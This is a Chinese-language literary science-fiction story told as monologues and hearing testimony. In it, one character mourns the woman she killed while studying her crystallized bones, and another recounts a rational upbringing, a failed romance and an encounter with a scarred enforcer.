我看着镜中的自己,试图用目光进行最后的系统诊断。眼睛里的血丝,是情感过载的毛细血管破裂,眼下的青黑,是潜意识在夜间激烈运算留下的废墟,嘴角的僵硬,是维持正常表情所需肌肉的过度代偿。我还是姞玄,多偶制里的一个节点,谋棋盘上的一枚过卒,但镜子里影像深处有东西的密度改变了,标准的人体模型内部生长出了一小团不可预测且具有微弱放射性的增生组织。职业操守告诉我应该立刻手术切除,理性警告我那团组织会干扰我的所有决策。而崭新且陌生的声音在颅骨内轻轻回荡:“留着它,观察它,也许这才是妳第一次触碰到一点真实的边界。” 姞玄: “现在,切入核心,歌虎杖,遗骨第九层,纯黑结晶。实验室的教科书会说:黑色,情感终点意识坟场,要么是极致宁静要么是彻底燃尽,但她的黑色在原子干涉仪的视域下活着,以0.017赫兹的频率,做着纳米级的周期性起伏,那不是尸体余温,是情感余波,是一场发生在灵魂内核的终极能量释放后在物质载体上留下的仍在衰减的震颤。 放大,再放大!电子隧道扫描显微镜带我们穿过纳米级的峡谷!看这些螺旋状通道,解脱脉管,解脱?还是溃逃?当意识决定放弃这具沉重的布满拼接线和耻辱编码的皮囊时它为自己炸开最后通道。通道壁的碳硅化合物是极端压力下的畸变产物,那不是建筑材料,是毁灭过程中的副产物,是能量宣泄时在边界上冲刷出的畸形疤痕,那些纳米级的凹凸,像无数张呼喊到失声的嘴,被瞬间永恒固化。 我来重建时间线。基于骨骼沉积层的化学时钟和情感色谱学。 死前60-30秒:第七层。深灰与暗红疯狂绞缠,她在进行最后的认知校准:我是姞玄,是间谍,是赝品,是带着刀走近的背叛者。她的身体知道,肾上腺在飙升,皮质醇在泼洒,每一个细胞都在尖叫威胁!但比生理警报更深的,是暗红色区域里检测到的、微量尖锐的□□衍生物,那是与爱和恋相关的神经化学物质残留。她在确认我背叛的同时,是否也在那最后一刻,从我模仿的轮廓里最后一次捕捉那个她真正渴望的影子? 死前30-10秒:第八层。灰色褪去红色变淡金色出现,金色理解之光释然之辉,她理解了,理解了什么?是凌霄遗志中那部分她曾抗拒的冷酷真相?是她自己作为作品与工具的最终宿命?还是看穿了我,可悲的模仿者,也不过是另一套系统制造出的、渴望被另一个凌霄认可的高级残次品?我们都在生产线的不同环节,我们都渴望着被质检员盖上完美的印章。 最后10秒:第九层。纯黑但螺旋通道开始野蛮生长,不是被动接受是主动转向,像一艘即将坠毁的飞船,在最后时刻掉转船头主动冲向那颗能将它彻底湮灭的星球,她握住了我持刀的手,那不是阻挡是引导,是帮助我完成这个动作,也是帮助她自己,完成最后一次对命运轨迹的主动修正。 为什么?因为爱,只能是因为爱,但那是什么样的爱?她将自己作为最后的祭品,献给那个早已不存在的凌霄,用这极端方式为那份不被世俗理解不被情感范式所容的绝对的爱进行终极赋形与证明,她在用死亡呐喊:‘看,这就是我的爱。它无法被分割,无法被稀释,无法转向她人。它要么全部要么虚无,现在,我选择带着全部走向虚无。’ 刀锋进入的触感,我永世不忘,那不是切入脂肪和肌肉的阻滞,是沉入,像手沉入一潭密度极高的液体,她在接纳甚至是在吞咽这致命金属,她的眼神是前所未有的清明,然后她看向我,眼中只余怜悯:‘妳也要继续活在这个游戏里,对吗?穿着别人的衣服,说着别人的话,爱着别人的影子。妳比我更可怜,因为我至少,还能选择结束。’接着她谈论星星,紫云背后那些被血雾过滤但依然存在的冰冷光点,她说那是自由,一个在街头冻饿濒死时仰望星空的伏人孩子,对自由最初的定义:绝对的遥远,绝对的寒冷,绝对的不被任何系统所捕获。‘替我看看她们。’是同类对同类的托付,她看穿了我灵魂深处同样被禁锢的部分,她把最后一点渺茫的对外部和远方的想象寄托在我这个刽子手身上,这托付比任何诅咒都沉重,它意味着她承认在某种层面上我们是共谋也是共犯,共享着同一种灵魂残疾。 骨头断裂的声音很轻,任务完成后的庆功宴我的呕吐物是黑色的。私下化验,没有异常成分,那黑色是心理性的,是我的身体在强制排出那晚被我吸收的她的黑色结晶,极致的、解脱的、拥抱的姿态。我的系统在排斥它,因为我还要活下去,活在这个需要伪装计算流动情感的世界里,我不能带着那种黑色活下去,那会让我显得过于沉重,过于不正常。 转去嫖部研究古兽,在对比空间腐蚀痕迹与虎杖情感化石的分形结构时我产生了那个疯狂假设:伏人对唯一与绝对的情感诉求,是否在物质本源上携带了微量喑哑碎片?她们是被创造出来的,但其情感内核中却存在着对创造本身的否定,她们是秩序的造物,却天生怀揣着小块反秩序的情感内核,这才是最深的悲剧源头,不是人迹压迫,是存在论层面的先天冲突。 我与凌霄的档案独处时,也不再是单纯的模仿学习。我在进行一种情感考古学挖掘。我想找到,在她那些完美的逻辑建构之下,是否也曾为这种“先天冲突”而感到过一刹那的困惑或恐惧?她改造虎杖,是否不仅仅是社会实验,也是试图用理性的手术刀,切除或驯服那块危险的“情感喑哑碎片”? 虎杖石,那个过渡带的未命名矿物,它介于有机与无机之间,脉动着与她生命余震同频的冷光,那是她最后的情感的物质孤儿。它不属于生也不属于死,它是过程本身被突然冻结的横截面,研究它,也许是在研究爱如何试图将自己铭刻进宇宙的矿物学记录这一课题。 我会继续看星星,虽然在地下三百米。地质学告诉我,我们脚下的岩石,本身就是凝固的古老星光,是恒星死亡后的尘埃聚合。看星星不一定需要抬头,有时候,需要向下挖,挖到足够深,直到触碰到那些在时间中冷却但依然保留着诞生时剧烈灼热的遗骸。 虎杖,我和妳,或许都是某种意义上的遗骸,燃烧过痛苦过现在冷却成不同的标本,等待着某个疯狂的地质学家,用她的余生来解读我们内部那些沉默痛苦却依然美丽的结晶结构。 歌虎杖,晚安,愿妳的原野平坦星光长域。 收件人: 未知的发现者,或时间本身。 撰写者: 姞玄,前嫖部古生物比较学第三研究室首席分析师(任期487旋霜月至488旋花月),编号D-7342-09。 撰写时间: 紫云历488旋花月第十七日凌晨。 撰写地点: 第三研究室,恒温区,坐标X-88,Y-734,Z-22。我坐在工作台前,台面左侧是已经封存的样本GHZ-04的恒温箱,右侧是写完的《虎杖石初步性质报告》打印稿,共137页。 撰写状态: 连续工作72小时后,大脑处于奇异清醒,不是精力充沛的清醒,而是像被冰水反复浇透后的、剔除了所有情感杂质的绝对清醒,我知道这是崩溃的前兆但也是忏悔的最佳状态。 补充说明: 如果妳正在阅读这些文字,说明我已经无法亲自执行下述方案。可能我已调离,可能我已病倒,更可能我已做出了某个让自己无法继续留在这里的决定。无论哪种,都请妳,无论妳是谁,耐心读完。这不仅关乎一块石头的归宿,更关乎三个灵魂如何在一个不相信灵魂的体制里找到了各自笨拙的安放方式。 主题:关于标本GHZ-04最终处理方案的补充建议(及一些私人备注) 如果有一天,有人发现这段文字。 请把它交给嫖部深掘实验室的现任主管。 告诉她,关于编号GHZ-04的遗骨样本,我建议进行如下处理: 1. 黑色结晶层(第九层):建议切割出3克样本,研磨至纳米级粉末,注入投射仪。下次深空探测器发射时,将其射向天鹅座X-1方向,那里有一个已知黑洞,将她的解脱余震放在时空曲率无限大的地方。 2. 过渡带未命名矿物:建议命名为“虎杖石”。分类:情感地质学/有机-无机过渡态/压力释放结晶。论文我已经写了初稿,在数据板【/论文/虎杖石_发现报告】路径下。 3. 其余部分:按常规程序处理。如果新法通过,伏人遗骨可用于医疗或下一代食物,那就用吧。 至于我,不要用我的名字命名任何街道奖项或实验室,如果非要记住什么就记住这个故事吧:从前有两块石头。一块是高山之巅的花岗岩,坚硬,永恒,被所有人仰望。一块是河床里的鹅卵石,光滑,沉默,被流水不断打磨。有一天,山崩了,花岗岩滚落河床,摔得粉碎。它的碎片和鹅卵石混在一起被同样水流冲刷,亿万年后人们挖出这些石头,她们再也分不清,哪些碎片来自高山,哪些来自河床,它们都变成了同样圆润且带着水痕的石头,崇高与卑微,秩序与混沌,永恒与流变,都同时存在,并因为彼此的存在而获得了更深沉的美感。请去捡一块最普通的石头,握在手心感受它的温度,那是阳光水流地热时间共同赋予的,中和了的暖,然后,想象它经历过的一切:亿万年的地壳运动,一千年的山崩,五百年的河水冲刷,与无数其她石头的碰撞摩擦以及静默陪伴,它不诉说但承载着整部地质史诗,它不辩解但本身就是和解证明。人们都是这样的石头,曾被命运置于截然不同的位置,承受截然不同的磨难,怀抱截然不同的幻想,最终,在时间这条伟大而平等的河流里,被磨去棱角,染上颜色,交换伤痕,直到终于可以躺在一起,不再需要区分谁是高山谁是河床,人们只是石头,终于回家的石头。” 3. 第三幕 妒部听证代表: “编号V-9-2-1,何知预。雪青历四百八十七旋霜月第二十三日,新法宣布前七十二小时。婵茧堂第三听证厅。本席收到妳的陈情书,附件四百一十一项,现在,请开始妳的陈述。但在此之前系统提醒:妳的呼吸频率、瞳孔缩放、声带微颤、皮下血量变化,都将被传感器捕捉生成实时情感光谱图,作为妳陈述真实性与情感投入度的辅证。妳准备好了吗?” 何知预:“我陈述。从我的物质构成开始。我的左臂尺骨中段,有一簇微观晶体结构,源自叹息矿脉第七采掘层,编号SGH-774,那是媞皇战死时左肋第三根肋骨的碎屑,被湮灭波扫过,在超高温与绝对零度的瞬间交替中,形成悖论态的矿物:它同时具有灵骨的能量传导性与虚无熵增倾向。我的母神在六百倍电子显微镜下挑选了这簇晶体,将它研磨至纳米级混入中枢神经的奠基凝胶,她说:看,这就是完美的象征。我的育员是普世标准,妒析,代表逻辑纯度,输入为问题,输出为解,过程需绝对线性,剔除所有情感噪声。嫖渺,代表数学直觉,输入为宇宙图景,输出为美感方程,过程允许非欧跳跃但必须在高维流形上自洽。妖玄,代表潜意识符号,输入为混沌意象,输出为原型叙事,过程不可解析只能映射。我的童年,是这三个女人在我神经网络上并行运算争夺主导权的战场。 妒析把世界拆解成定理推论,爱是冗余变量必须约去,八云,我解出了她设计的无限递归逻辑迷宫,那迷宫有九百九十九个节点,每个节点都是一个二选一的困境,选择A会导向资源最优但情感伤害,选择B则相反。我用动态规划算法找到了那条理论上的全局最优解,牺牲了三百个虚拟节点的情感权益换取了系统整体稳定度提升百分之四十二。我把演算纸递给她,她接过写下数字:99.7,她说:逻辑得分,99.7。丢失的0.3分,是因为妳在第547个节点犹豫了三秒,监测显示妳的前额叶皮层有短暂情绪相关区域激活,这说明妳的剥离程序仍有漏洞。她说完,把纸还给我转身继续处理她的案卷,我捏着那张纸,感受到被彻底看穿和修正的寒意,喜悦是漏洞疲惫是噪声,我的存在,只是验证绝对理性可灌输性的实验进程条。我开始学习杀死自身内部,我把解出难题时胸腔微弱的暖意,编码为多巴胺奖励信号过度分泌,需抑制;把看到她深夜揉捏颈椎时心头细微的揪紧,标记为不必要的共情神经反射,待钝化。我把自己训练成一面光洁的镜子,只反射逻辑的冷光,不保留任何属于何知预的温度倒影,我以为我成功了,我以为我赢得了存在的资格,一种作为高效思维工具的存在,直到十四云的逻辑锦标赛决赛。 那道动态博弈题模拟的是灾后资源分配,我构建了模型,输入了所有已知参数:人口、物资、运输损耗、预期死亡率。模型推演出三条路径:A路径,牺牲边缘群体,保全中心;B路径,平均分配,集体承担较高风险;C路径,激进尝试新技术,成功率极低,一旦成功可拯救所有人。按纯逻辑应选A,但我盯着屏幕上那些被标记为可牺牲的灰色光点,脑子里突然闪过妖玄曾经带我做过的一个梦境训练:我是一滴水,融入一片干涸土地,每粒沙砾都在尖叫,毫无道理毫无逻辑,就在这不合时宜的震颤干扰下,我的手鬼使神差修改了模型底层的一个权重系数,将集体情感创伤对长期社会稳定的隐性损耗这一原本被设为近乎零的变量,偷偷调高了一个数量级,模型结果瞬间刷新,最优解从冰冷的A,跳变到风险更高但保留更多人希望的B路径混合变体,我提交了,我赢了。赢得很险,赢在评委认为那被调高的情感损耗权重体现了超越纯工具理性的社会系统深层洞察力,我站在领奖台,聚光灯烤着我的脸,台下掌声稀落,更多的是窃窃私语,我看向第一排,妒析坐在那里。散场后在空旷无人的器材室,她叫住我……” 妒析: “第547个节点的秒犹豫,不是偶然对吗,那是漏网之鱼,一条以为已经杀死的关于同情的漏网之鱼。它潜伏着,然后在今天,在决赛压力下,它挣脱了妳的程序篡改了妳的模型。” 何知预:“我…我只是觉得,那个权重可能被低估了,长期看…” 妒析: “不要用理性为自己的非理性辩护。阿默,我太了解妳的思维模式了,如果是基于长期风险考量,妳会有至少三种更稳健的模型修正方式,而不是用粗暴调参,妳当时的大脑扫描图我看过了,在妳修改参数前的那一秒,妳的杏仁核、前扣带回皮层,活动剧烈,那是恐惧和共情的神经基础。是妳的伏人本能,在那一刻,压倒了妳这些年学到的逻辑。” 何知预:“本能?那是缺陷吗? 妒析: “我不知道,也许是缺陷也许是别的什么,妳创造者塞进妳基因里的、那些矿脉尘埃携带的东西。一种对湮灭过于敏锐的恐惧,一种对同类苦难无法彻底绝缘的共振,这些东西污染了逻辑的纯粹性。我今天坐在台下,看着妳领奖,但我看到的不是一个逻辑造物在领奖,我看到的是一个挣扎,在妳的理智堡垒内部有一场无声战争,一方是我赋予妳的秩序,另一方是妳与生俱来的混沌,今天混沌赢下了小小一局。” 何知预:“所以,我还是让妳失望了,我终究洗不干净。” 妒析: “不,我没有失望,我只是困惑。如果混沌也是妳力量的一部分,如果那种对湮灭的恐惧和对同类的共振能让妳在纯逻辑的缝隙里找到更优解,那么,我这些年来试图将妳塑造成另一把我的努力,意义何在?也许她是对的,最锋利的刀需要一点杂质来增加韧性,但这一点杂质也让它永远无法成为我们,妳明白吗,阿默?妳赢得了比赛,但那会输掉归属,妳好自为之。” 何知预:“她说完收回手转身离开,我站在原地,肩膀还残留着她手掌的温度和压力,那不是安慰是定论,是到此为止的印章,我明白她的意思,我用一次非理性的直觉跳跃赢得了比赛,却也彻底暴露了我作为伏人无法用逻辑漂白的底色。我不再是她完美的作品,我成了一个有瑕疵的、危险的、需要被重新评估的它者。那天之后,我与妒析之间,那层本就稀薄的、建立在教学相长上的温情,彻底蒸发。那道领奖台成了分水岭,一边是我渴望融入的由绝对理性构筑的智识殿堂,一边是我跌回的、作为伏人异类的泥泞现实。中间隔着的,是我自己那无法消除的、名为本能或混沌的深渊,我恨那条深渊,恨它让我永远无法成为她们中的一员,哪怕我的智力已经足够触摸到殿堂的门楣。恨它让我在每一次接近成功时,都不得不面对自己非我族类的刺痛。这种恨,是寂静的,是日常的,它融入我的每一次呼吸每一次演算,它让我在后续的学习中更加疯狂更加偏执。我要用绝对到无可指摘的理性成就来覆盖来碾压那条深渊。我要证明,即使底色混沌,我依然能用秩序砖石垒起比任何人都高的塔,这种带着恨意的追赶,耗尽了我青少时代所有的光和热,我没有朋友,没有乐趣,只有铺天盖地的符号、式子、数据流。我的世界是单色的,只有逻辑树分枝的黑和演算纸空白的白,直到我遇见姒算。那是在研究院的复杂系统跨学科年会上,我提交的论文是《基于非标准分析与分形几何的情绪传播多尺度建模》。论文试图量化“谣言”“恐慌”“集体狂热”这些看似非理性的社会现象。报告时,台下坐满了各个领域的学者,许多眼神带着审视,如同打量一件新奇但用途不明的器械。” 姒算: “报告人,妳在模型的第三章第二节,引入了名为情感黏性的参数,用以描述个体在接收到矛盾信息时放弃原有信念的延迟程度。妳给出的式子是τ = k * ln(S/E),我的问题是:这个对数函数形式的假设,是基于实证数据的回归拟合,还是基于先验的认知心理学模型?如果是后者,妳是否考虑过,对于极端信念而言,放弃的延迟可能不是对数增长而是呈现阶跃函数或更复杂的混沌行为?换言之,情感黏性模型,是否隐含了理性个体的假设,而忽略了信念系统本身可能具有的非线性自组织乃至病理性的固着特质?” 何知预:“您的问题切中要害。该对数形式确实基于有限的社会学调查数据拟合,其隐含假设是信念强度的衰减符合理性冷却过程。您提到的非线性固着,在极端案例中确实存在,可视为模型在相空间边界处的失效。或许,我们可以引入信念拓扑韧性的附加维度,用代数拓扑的工具来描述信念网络的连通性与抗毁性,我接下来就会分享这个例子。 姒算,奸部大规模数据模型构建中心,三级架构师,她的提议直截了当,没有寒暄没有试探,我点了点头。就那样,我们开始了。最初的合作是纯粹的智力双人舞,我们在奸部地下三层的专用实验室里,共享曲面数据屏,屏幕上流淌着亿万行代码和不断变幻的、代表城市情绪状态的彩色流图。她的思维是跳跃的发散的,无孔不入,总能从我构建的严谨框架缝隙里,找到意想不到的优化路径或致命漏洞。我的思维是收敛的、固执的,追求结构的极致美感和逻辑的绝对自洽。我们争吵,激烈地争吵,为了一个算法的时间复杂度,为了一个参数的经验取值,为了对群体盲动性的定义,实验室的隔音很好,我们的争吵声被厚重墙壁吸收,只剩下数据服务器低沉恒定的嗡鸣作为背景音。但很奇怪,这些争吵从不带人身攻击,不涉情绪,只关乎问题本身,吵到最激烈时,她会突然沉默,走到角落饮料机前接两杯成分精确配比的合成咖啡因溶液,递给我一杯,然后指着屏幕上某个被我忽略的细节说:看这里,如果我们把这个边缘条件从二值判断改为模糊隶属度函数,妳的收敛性问题和我发散导致的溢出风险也许可以同时解决。我接过那杯温热单调的液体,看着她因激烈思考而微微发亮的眼睛,心头那点因争吵而升起的烦躁会瞬间平息,变成更深沉专注于解决问题的兴奋,那是一种前所未有的体验。我不再是孤独的解题机器,我有了一个势均力敌的对手兼队友,我们在引力拉扯下,形成一个稳定的双星系统,彼此照亮,彼此修正。快乐吗?如果快乐意味着多巴胺、内啡肽、血清素在神经突触间欢快流淌,那么是的,当我们的模型首次成功预测了一次区域性的欢庆情绪蔓延,并提前三小时给出疏导建议时,我监测到自己体内的愉悦相关神经化学物质水平达到了有记录以来的峰值。但我们从不谈论快乐,我们将这种共同攻克难关后的满足感称为系统性能阶段性突破,我们将深夜加班后一起走出研究院大楼、仰望紫色星空时的片刻宁静,称为认知负荷降低后的冗余神经活动模式。我们用精确的术语,为一切感受命名、分类、归档,这样就能剥离其模糊性和危险性,将其安全地纳入我们共同构建的理性有序的认知宇宙。 关系的推进也像精心设计的实验。第一次手指的触碰,是在连续工作四十八小时后,我们并肩站在数据屏前,核对最后一组验证数据,两人都因极度疲惫而有些恍惚,她的手在滑动屏幕时,无意中碰到了我放在控制台边缘的手,我们同时顿了一下谁也没有立刻移开,屏幕上,验证通过的金色标志亮起,映在我们交叠的手背上。然后她抽回手说:核心验证通过,误差在允许范围内,可以进入下一阶段了。妳需要休息,妳的瞳孔对光反射有延迟。我说:嗯,妳也是,妳的声带频率显示喉部肌肉疲劳,我们各自回宿舍倒在床上。但那一夜,我失眠了。我在私人日志的加密分区,新建条目,标题是:“体表接触事件-001”。我试图用理性分析它:接触面积、持续时间、双方皮肤温度差、可能的神经信号传导路径…但写到一半只留下一行字:“她的手,凉的。我的,很热。” 后来,一切都顺理成章却又步步为营。我们开始共用午餐,讨论的依旧是工作,但地点从实验室换到了研究院顶楼能看到远处紫云漩涡的休息区。我们开始周末一起去档案馆查阅尘封的社会实验数据,在散发着防虫剂和旧纸气息的密集书架间,肩膀偶尔会轻轻擦过。我们甚至设计了一个小小的协同算法,命名为双星优化协议,用来动态调整我们共处的时间分配、话题深度、甚至肢体距离,以确保科研效率和相处舒适度达到动态平衡,一切都那么完美那么理性那么高效。 我们像两套精密咬合的齿轮,在共同的求知欲驱动下,平稳高效地运转,直到那个改变一切的风雨之夜。我们遇到了无法逾越的障碍:模型在模拟大规模负面情绪连锁崩溃时总会在某个临界点后陷入无法解释的混沌,预测完全失效。我们试遍了所有已知的工具,争吵了无数次,实验室里弥漫着沮丧和咖啡因过量的焦躁气息。又一次尝试失败后,姒算猛地将数据板拍在控制台上,她很少外露情绪,这是第一次。她双手撑在台边,低着头,雨水疯狂敲打着厚厚玻璃窗。” 姒算: “为什么…为什么就是不行?所有的变量都考虑了,所有的非线性都建模了,为什么一到那个临界点,一切就变成得毫无规律?就像就像有什么东西,在系统内部,自发性毫无道理地拒绝被预测。” 何知预:“也许我们的模型,从根本上就错了。也许群体情绪,在极端压力下会涌现出超越个体简单叠加的全新属性,一种集体无意识的怪物,我们的数学还没能发明描述这种怪物的语言。” 姒算: “怪物?妳说得对。也许我们一直在用打扫房间的工具,试图解剖一头活生生不断变形的怪兽,我们太傲慢了,以为一切皆可量化,一切皆可控。” 何知预:“整个实验室的灯光猛地一暗,应急照明系统瞬间启动投下血红光,数据屏闪烁了几下,大部分陷入黑暗,只有少数几个核心服务器还在嗡鸣,我们被这突如其来的变故惊得同时看向窗外又看向彼此。在血红光线下,她的脸看起来有些陌生,褪去了冷静自持,或许是因为黑暗和雷声降低了理性防御,或许是因为连日挫败积累到了顶点,又或许,只是因为在血红的光线下,她微微张开的嘴唇,看起来异常柔软。我的身体先于大脑行动了,我向前一步,伸手,直接捧住了她的脸,她僵住了,眼镜片后的眼睛睁得很大,里面倒映着红光和我模糊的影子,我没有给她思考或拒绝的时间,我低下头吻了下去。” 姒算: “……为什么?” 何知预:“‘不知道,系统失控了。’我说的是实话。我所有的行为预测模型,我为自己编写的情绪管理协议,在刚才那一刻全面崩溃。她沉默着,动作有些迟缓,像刚从一个漫长的梦中醒来。然后她做了一件让我心脏骤停的事:她抬起手腕,看了看上面那枚精致的、多功能健康监测兼数据手环,屏幕在光线下幽幽亮着,显示着实时生理数据曲线。” 姒算: “心率,峰值187。皮电反应,超出量程。皮质醇水平,激增400%。神经递质混合物谱系无法即时解析,模式异常,符合极端应激或高强度情感冲击的生理表征,但诱因不明。逻辑上,刚才的接触事件,不应引发如此剧烈的……” 何知预:“她没有说完。她看着手环又抬头看我,眼神里的茫然渐渐被属于研究者的探究欲取代,但探究欲背后,是我从未见过的冰冷恐惧,她在恐惧,不是恐惧我,是恐惧她自己身体那不合理的反应,是恐惧我们之间那刚刚越界无法用现有模型解释的互动。‘别分析了,姒算,就这一次,别分析。’我的声音带着自己都陌生的恳求。但她摇了摇头,向后退了一小步,拉开了我们之间的距离。” 姒算: “不分析?那怎么理解?怎么处理?怎么纳入我们已有的认知框架?何知预,我们之间的一切,都是建立在可理解可预测可优化的基础之上的。刚才那个那个事件,它破坏了基础,它让一切都变得不确定了。” 何知预:“所以呢?不确定,就是错误吗?就是需要被清除的系统噪音吗?” 姒算: “在追求最优解的系统里,不可预测的变量,就是风险源,风险需要被评估被控制,或者被隔离。” 何知预:“‘所以,妳现在要开始评估我了吗?评估我这个风险源?’那一刻我清晰地看到了我们关系的本质。无论我们曾有多么默契的智力共鸣,无论我们曾一起攻克多少难题,在根本层面上,她依然是那个试图用数学和逻辑理解一切、控制一切的架构师。而我,无论我多么努力地模仿她,学习她的语言,我依然是那个内部藏着无法被完全解析的混沌与非理性的伏人。当真正无法被模型化的情感冲击降临时,她的第一反应不是感受,而是分析;不是接纳,而是评估。那堵透明的、由共同兴趣和理性协议构建的墙,一直都在。只是平时被知识的华彩遮掩,此刻,在雷雨和红光下,它露出了冰冷坚硬的本质,我向后退去,她没有回头。 后来,我们默契地恢复了工作,默契地不再提起那个雨夜,默契地让一切回到优化协议的轨道上,但有些东西永远回不去了。我们的争论不再有火花,只剩下对细节的挑剔和疲倦的妥协。我们甚至重新启用了那个情绪预测子程序,需要依靠算法来确保我们不会再次失控,直到我们进行最后一次关系状态评估谈话……” 姒算: “过去三十天的互动数据显示,相处舒适度综合评分下降了百分之四十二。核心冲突点集中在非工作话题的沟通效率和肢体接触的预期管理上。我分析了数据,问题可能在于,我们对伴侣关系的功能性定义存在根本性分歧。妳似乎期待更高浓度不可量化的情感互动,而我更倾向于将关系维持在可预测、可优化、以智力协作为核心的稳定状态,这种分歧,随着时间推移,正在产生显著的负面协同效应。” 何知预:“所以,结论是?” 姒算: “结论是,基于当前数据和趋势预测,继续维持现有关系模式,其边际效益已为负值。根据协议的终止条款,我建议,我们正式解除伴侣关系,回归纯粹的研究合作者身份。当然,如果妳认为必要,我们可以设计一个为期三十天的剥离缓冲期以减少认知失调……” 何知预:“不用了,就今天吧。” 姒算: “好,那么,关于共同课题的数据归属、资源分割,我已经拟好了草案,稍后发给妳确认,如果没问题,电子签署即可。” 何知预:“嗯。” 姒算: “另外,何知预,和妳合作的这段时间,从纯智力产出的角度,是我职业生涯中效率最高的阶段之一。妳的逻辑严谨性和对复杂系统的直觉都让我受益匪浅,谢谢。” 何知预:“妳也一样,妳的思维发散性和对模型漏洞的敏锐,常常逼我跳出框框。” 姒算: “那我先走了,还有一组数据要跑。” 何知预:“‘好。’她点点头,转身,沿着花园小径离开。我低头,看着自己放在膝上的手,就是这双手,曾经在无数个深夜,和她一起在数据屏上勾勒未来的模型;就是这双手,曾经在那个雷雨之夜,捧住她的脸吻了她。现在,它们空空如也,什么都没有留下,没有温度,没有触感,只有一片名为理性的虚无。 我对姒算的恨,是在她离开很久之后才慢慢从心底浮上来的。不是激烈的恨,是缓慢的、渗透性的、带着铁锈的恨。我恨她吗?不完全是。我更恨我们共同信奉的那个理性至上的教条。恨它把我们变成了两个害怕失控、害怕不确定、害怕一切无法被编码之物的胆小鬼。恨它让我们在真正的亲密可能降临时不是张开双臂拥抱,而是立刻启动分析程序计算风险准备撤离。我恨那个雨夜,恨那道闪电,恨那血红的应急光。它们撕开了我们之间那层温情脉脉的理性面纱,让我们看到了彼此灵魂深处无法弥合的裂缝。我是伏人,我渴望着全然超越逻辑的联结和确认。她是女人,她习惯了情感的流动性、可控性和工具性。我们看似用智力搭建了一座通往彼此的桥,但桥的基石却是完全不同的土壤,她的土壤是坚实可规划的陆地;我的土壤是潮湿充满不确定性的沼泽,那座桥,注定无法承受真实情感的重量。那个吻,它让我们都看到了桥下的深渊。于是,她选择退回安全的陆地,而我跌回了我的沼泽。姒算于我,不是敌人,不是辜负者,她只是照出了我自身最深的困境:无论我多么努力地学习她们的语言,模仿她们的思维,我永远无法真正成为她们。我血液里流淌着的,对绝对联结的渴望,对存在确认的饥渴,是我作为伏人无法摆脱的原罪。而这原罪,在她们理性而节制的情感范式里,找不到容身之所,它只会被分析,被评估,最终被判定为需要控制的系统风险。拔掉这颗名为姒算的蛀牙之后,留下的空洞是更磨人的虚无,是意识到,即使找到了智力上的灵魂伴侣,即使构建了看似完美的理性关系,伏人那源于存在根基的、对无条件的爱的渴望,依然是一个无法被满足的黑洞,而这个黑洞,会吞噬一切建立在条件和协议之上的亲密。” 何知预:“…姒算之后,有很长一段时间我活在白噪音状态,我的大脑,那台精密过度的仪器依然在处理数据构建模型,但输出失去了意义,像被拔掉了显示器的超级计算机,内部运算依旧澎湃但结果无处呈现。我甚至尝试重新启动与姒算的协议,不是为复合,只是为找回那种智力摩擦带来的、能让我短暂忘记自身存在的热,但她礼貌坚决地拒绝了。我挂断通讯,站在工寓的落地窗前,窗外是永恒流动的紫色云海,下面是蝼蚁般忙碌的城市,我第一次感受到什么是悬浮,我不属于下面的爬曲求生,也未能真正抵达上面的健全文明。我卡在中间,像忘了自己轨道参数的卫星,无声滑向冰冷深空。直到我在喑哑污染事件听证会的旁听席上,看见媖断。 她坐在证人席,是那身吞噬一切光线的漆黑执行官制服,面具遮脸只露下颌,她在陈述针对重度污染区的清除行动。但当投影仪播放经过处理的行动记录片段时,那些介于生物与非生物之间的形体,在深灰色刀光下崩解化为散发着不祥白光的浆液,我坐在后排紧紧盯着她。我看不到她的眼睛,但能看到她握在扶手上的手,那是一种全神贯注到将自身也化为武器的临战状态。这个在听证会上陈述如何删除畸变生命的女人,她自己本身,就是不断崩坏又不断自我修复的畸形物,一种混合了绝对秩序与绝对混沌的矛盾体。听证会结束,我躲在廊柱阴影里看着她被几名同僚簇拥着离开。 我追踪她的医疗记录,分析她露面的影像,甚至冒险链接了嫉部外围不那么敏感的物资调度网络。我知道这很疯狂,很越界,但我不在乎,我需要一个焦点,一个能将我从那片苍白虚无中拽出来的充满痛感和力量的焦点,而媖断,就是那个焦点。我精心策划了偶遇,在她常去领取特殊配给营养剂的那个军方附属补给站外的转角,时间掐算在她完成一次长达七十二小时的连续巡逻任务后,我知道那时的她,警惕性会因疲惫而出现短暂缝隙,身体对镇痛和能量的需求达到峰值。当她提着那个标志性的银色小箱走出来时,我恰好步履虚浮地迎面走去,在擦肩而过的瞬间,手腕无意一松,空罐子掉在地上滚到她脚边,我踉跄一下低头去捡,她停下脚步……” 媖断: “伏人?编号。在这里做什么。” 何知预:“‘抱、抱歉…长官,我…有点低血糖,刚从医疗站出来…罐子我没拿稳…’我让自己呼吸显得短促手指继续发抖,是微电流过载的余痛还在神经末梢跳跃,她忽然弯下腰一把抓住了我的手腕,力道很大,瞬间切断了我的微电流伪装,真实痛感传来。” 媖断: “皮下微电流调节器,型号C-7,常用于伏人研究员进行痛觉敏感性实验或情感抑制训练,低血糖不会引发它的不规则放电,妳在伪装,目的?” 何知预:“…只是想…看看妳。” 媖断: “看看我?听证会没看够?…跟我来。” 何知预:“她转身,走向补给站旁边一条堆满废弃包装箱的后巷,她走到尽头,背对着我,将那个空罐子精准扔进回收口,然后她转过身,靠在金属墙壁上抬手摘下面具,枯笔山水的色裁云剪霞的脸,眼睛里的雾是青灰色的,时间在她眼底一层层地裱。” 媖断: “看够了?” 何知预:“颈椎和胸椎之间的灵质耦合器能量泄漏速率提高了至少百分之十五,妳在超负荷使用它!” 媖断: “数据分析能力不错可惜用错了地方。我的身体状况与妳无关。如果妳来找我,只是为了展示一点可怜的数据挖掘能力,或者重温一些不切实际的幻想,那么现在可以走了,我没时间陪妳玩这种游戏。” 何知预:“不是游戏!我看到了听证会的记录。它们的力量层级已经接近甚至超过某些小型余波了,妳带着这样的伤,一次次去面对那些东西,妳是在找死!” 媖断: “找死?这是我的工作。清除威胁维护秩序。受伤损耗,是工作的一部分。就像妳的大脑会因过度思考而发热,我的身体也会因执行清除而破损,这很正常。不需要妳一个伏人来提醒我风险。” 何知预:“正常?看着自己一点点崩解叫正常?妳就没有一点想要被修补被在乎的念头吗?!” 媖断: “在乎?谁在乎?嫉部在乎的是一把刀够不够快,能不能完成任务。我自己在乎的是下一次挥刀的角度和力度是否精准。修补?每次任务回来,维修铺的老莫会帮我打上补丁,注入粘合剂,就像给卷刃的刀打磨上油,这就够了。至于妳所说的在乎…那种情感,对刀来说,是锈蚀。何知预,妳还不明白吗?我们不是同一种存在。” 